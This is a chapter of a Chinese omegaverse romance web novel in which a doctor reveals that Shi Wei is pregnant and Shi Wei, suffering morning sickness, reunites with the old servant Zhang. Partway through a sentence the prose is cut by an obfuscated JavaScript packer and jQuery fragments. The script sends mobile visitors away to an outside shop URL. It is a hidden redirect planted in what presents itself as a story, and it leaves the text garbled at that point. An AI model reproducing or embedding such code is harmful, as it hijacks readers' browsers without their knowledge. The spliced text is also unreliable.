时维状态很奇怪——半醒不醒,离不得商以诀一点,要是一觉醒来没有看到他准要闹。
八天过去,这种状态终于逐渐好转。
商以诀从没感觉自己吃的这么饱过,仿佛把过去十多年没吃到的,一口气吃了回来。
代价是结束后时维昏睡了一整天。
商以诀再次把人送往冉冬临所在的医院,后者嘴上不饶人,却还是老老实实给时维做了检查。
商以诀坐在床边,忽然收到一条消息。
【冉冬临:假性发/情。】
商以诀一怔,恰好门被推开,冉冬临走了进来。
“其实很久以前,世界上只有Alpha和Omega两种性别,Omega数量要比Alpha多得多。后来生殖腔退化,久而久之,很大一部分Omega变成了Beta。这种情况一般是由Beta生殖腔使用过度导致激素紊乱,从而造成的一种——假性发情。”冉冬临尽可能解释得通俗易懂,“简单来说,就是Beta遭遇了类似于Omega的发情期。”
商以诀:“……”
“但是生殖腔过度使用导致激素紊乱,只是一种理论上的可能,所以我又给他做了别的检查——你猜怎么着?”冉冬临把报告拍他身上,“怀、孕、了——叠加孕激素的出现,导致整体激素更加混乱。”
商以诀一怔,将检查报告来来回回看了个遍:“为什么上次没检查出来?”
“时间太短,这才刚一个多月呢,查不出来很正常。”冉冬临道,“孩子跟了你俩算他命大。”
一个多月?
商以诀彻底愣了。
一个多月的话,按时间来算,是战前那次易感期?
可是他明明记得自己戴了。
纠结再三,商以诀把自己的疑虑问出口:“冬临,你说有没有这样一种可能——Enigma更容易让人怀孕,哪怕这个人是Beta?”
“理论上是这样。”冉冬临乜着眼打量他,“你想说什么?”
商以诀即答:“我戴了的。”
“……”
见冉冬临不信,商以诀看了眼还在沉睡中的时维,压低声音道:“你觉得我是那样的人吗?那个时候都要上前线,我再禽兽也不至于做出这样的事。”
“……”冉冬临终于忍不住了,破口大骂道,“好你个商以诀!你别他*找借口,有本事你跟他说去,跟他肚子里的孩子说去!他是Beta没怎么上过生理课你一个Enigma还没上过不成?!还再禽兽也不至于做出这种事,我看你就是禽兽本兽!你当你那东西盐酸呢,能把橡胶腐蚀掉?那可真该把你列入研究名单,让你名垂青史——史上第一个盐酸味的Enigma……”
两个人认识快二十年,彼此间说起话来也是没大没小。
眼看冉冬临越说越激动,商以诀看了眼时维,让他噤声。
冉冬临看了眼床上躺着的人,打了个哆嗦:“兄弟,不是我说,你自求多福吧——时少将要是恢复记忆,这下真得给你扒层皮下来。对了——孕吐严重的话,想吃什么想喝什么别拦着啊。”
商以诀仿佛想到什么一般,抬起头问道:“冰的也行吗?”
-
时维睁开眼的时候,觉得自己已经睡得有点迷糊了。
他不知道自己睡了有多久,只记得做了很多梦。
梦的细节也记不清了。
一会儿漫天大雪——应该是商以诀口中的北极关;一会儿血迹和残肢散落——应该是曾经做过的那些噩梦;一会儿是潮热的呼吸和汗湿的触碰。
应该是商以诀。
总之醒来的时候早已不知今夕何夕。
时维缓缓睁开眼,看到熟悉的天花板,时维花了好一会儿才意识到,他的计划应该是失败了。
太阳穴还在隐隐作痛,时维躺在床上缓了一会儿,才有力气坐起来。
他觉得不太舒服,但说不出哪里不舒服——手脚酸软,头脑酸软,小腹深处也酸软,总之浑身酸软。
时维刚一坐起,眼前便被一阵银白侵袭,一时间分不清方向,上下颠倒。
头……好晕……
时维坐在床上缓了好一会儿,视线才恢复正常。
他拖着身子起身,打开门,听见储物室有动静。
时维走过去:“苗管家……张叔?”
听见他的脚步声,储物室那人探出半个身子。
张叔笑了笑:“时先生。”
时维又惊又喜,不可置信再次道:“张叔?!”
时维一个猛扑抱住张叔,给张叔吓得魂儿都没了,两只手护在他两边。
“张叔……”时维眼眶湿润,“对不起,是不是因为我少将才把你赶走的?”
“没有。时先生,我……”张叔拍了拍他的背,语气中带着不易察觉的苦涩,“是我对不起你……”
张叔话还没说完,时维脸色一变,一把推开张叔,奔离储藏室。
张叔跟在他身后,看见时维冲进盥洗室,“哇——”的一声吐了出来。
张叔心疼地拍了拍时维的背,替他顺气;时维吐了个昏天暗地,眼冒金星地抬起头道:“我……呕——”
时维吐了好一会儿,感觉连胃都要吐出来了。
他问张叔:“我这是怎么了?”
张叔看向屋外:“时先生,你已经睡了一天了,先吃点东西吧。”
时维跟着张叔下了楼。
下楼梯时,时维突然发现楼梯扶手和台阶硬角都被包上了软贴。
时维很疑惑,但见张叔一副见怪不怪的样子也不好多问。
他在餐桌旁坐定,看见餐桌圆钝的桌角也包上泡沫软贴。
“少将还有弟弟妹妹吗?”时维问。
“少将有一个弟弟。”
时维了然——也许是商以诀的弟弟要来借住一段时间,弟弟年龄比较小,所以商以诀才让人在屋里容易撞伤的地方包上了软贴。
这样的话,那他更得走了。
商以诀的家人来了,时维再继续住在这里名不正言不顺。
之前已经打草惊蛇,反正都撕破脸了,等商以诀得空,他再去和商以诀告别。
如果他再不让他走,那就再想办法。
张叔替他热了一碗山药排骨汤,端到他面前。
时维拿起瓷勺搅了搅:“哇——”
张叔微微一笑,没说话。
时维四处看了看:“张叔,其他人呢?”
“怡和和之淼在外面修剪枝叶。”
“还有呢?”
“苗管家回他之前的地方去了。”
时维继续搅和山药排骨汤:“哦。”
张叔微笑:“其实时先生最想问的是少将吧?”
时维一噎,因呕吐变得惨白的脸突然间有了血色。
时维小声嘀咕:“谁想问他……”
“少将在二楼书房,没有去别的地方。”
山药排骨汤还有些烫,时维用白瓷勺戳着软糯的山药:“张叔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944149|213596||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你之前去哪里了?”
“回少将父母家了。”
时维松了口气——没有被赶走就好。否则的话,他会自责死的。
时维突然想起一件事:“所以苗管家是少将父母家的管家?”
“嗯。”张叔说,“虽然苗管家年龄比我小,但他经验丰富,一定能照顾好你。”
时维听见这话就不乐意了:“什么叫照顾好我?张叔你在少将身边做事多少年了?”
张叔不明白为什么他这样问,但还是道:“从少将出生开始,一直到现在。”
时维把瓷勺一放,和碗撞得叮当响:“那不就得了——少将是你看着长大的,所以你应该照顾好他,你才该是他身边最重要的人之一,他怎么能说送就把你送走呢?”
张叔见他为自己着想,心里暖洋洋的,仿佛被太阳照耀过一般:“时先生,先喝汤吧,再不喝一会儿冷了。”
时维应了声,将视线挪回那碗鲜香的山药排骨汤上。
时维看着汤面上漂浮着的清浅油花,只觉得看着胃里就一股饱腹感。
片刻后,这饱腹感豁然膨胀,如吸了水的泡沫一般将胃里占满,并且逐渐上溢,最终从唯一的出口汹涌而出。
“啪哒——”
瓷勺落入碗中,发出清脆的声响。
时维想吐,但胃里什么都没有,最后只能不断干呕。
张叔立刻将温水推到他手边,轻拍时维的背部。
半晌,时维抬眼,露出一双湿漉漉尾部泛红的眼。
“张、张叔……”时维说着说着又想吐,喝了两口温水,强行咽下反胃感,“我不想喝山药排骨汤,我想喝青苹果冰奶。”
张叔应了声,就要去厨房。
时维叫停张叔:“要加冰块。”
好在张叔没再执着放不放冰块的事,时维如愿以偿得到一杯加了冰块的青苹果冰奶。一口气喝了大半杯后,他这才感觉胸腔到胃部的反胃感压下去了些。
张叔惊悚地看着玻璃杯中不断下降的奶位面:“时先生,你不觉得冻嘴吗?”
时维舒畅叹了口气:“我终于感觉自己活过来了……”
然后时维又昏睡了过去。
张叔说商以诀还在处理工作上的事,于是时维坐在沙发上等他,没一会儿便打起了瞌睡。
睡梦中,时维突然感觉心里空落落,仿佛很渴望什么东西。但他并不知道自己到底在渴望什么,只能急得跟个热锅上的蚂蚁似的在原地团团打转。
突然间,时维抱到一块冰块。
冰块很大,比时维整个人还要大,时维抱着它正正好。
冰块很冰,冰冰凉凉但并不冻人,反而给人一种温柔的寒意。
那种被架在热锅上被炙烤的感觉终于减轻。时维悠悠睁眼,闯入一双带着灰蓝色的黑眼。
意识到此刻的处境后,时维眼睛越瞪越大——他不是在睡觉吗?怎么坐在商以诀腿上啊?!
两只手还紧紧搂着他的脖子?脑袋靠在他肩上?
怎么回事啊?!!!
时维表情出现一丝崩裂,下意识往后躲,整个人失去平衡向后栽去。
就在他以为自己即将仰面倒地时,一只手扶住他的侧腰将他拦腰抱起。
这手还轻轻捏了两下。
一股电流立刻从腰间蔓延到大脑,时维立即软了身子,瘫坐在商以诀怀中。
商以诀低哑磁性的声音在耳边响起:“不是自己钻过来要抱的吗?怎么醒了就要跑?”